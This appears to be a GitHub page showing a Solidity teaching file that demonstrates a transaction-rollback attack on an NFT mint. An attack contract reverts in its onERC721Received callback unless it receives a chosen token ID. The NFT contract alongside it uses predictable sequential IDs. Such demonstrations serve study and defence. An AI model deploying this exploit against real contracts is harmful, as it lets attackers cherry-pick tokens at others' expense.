forked from 33357/smartcontract-apps
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTransactionRollbackAttack.sol
43 lines (34 loc) · 1007 Bytes
/
TransactionRollbackAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
interface INFT {
function buyNFT() external payable;
}
contract NFT is ERC721 {
uint256 tokenId;
constructor() ERC721("NFT","NFT") {}
function buyNFT() external payable {
require(msg.value >= 1 ether, "NFT: You must pay 1 ether to buy an NFT");
_safeMint(msg.sender, tokenId++);
}
}
contract TransactionRollbackAttack {
INFT nft;
uint256 tokenId;
constructor(address _nft) {
nft = INFT(_nft);
}
function doBuyNFT(uint256 _tokenId) external payable {
tokenId = _tokenId;
nft.buyNFT{value: msg.value}();
}
function onERC721Received(
address operator,
address from,
uint256 _tokenId,
bytes calldata data
) external returns (bytes4) {
require(tokenId == _tokenId, "NFT: not the correct token");
return this.onERC721Received.selector;
}
}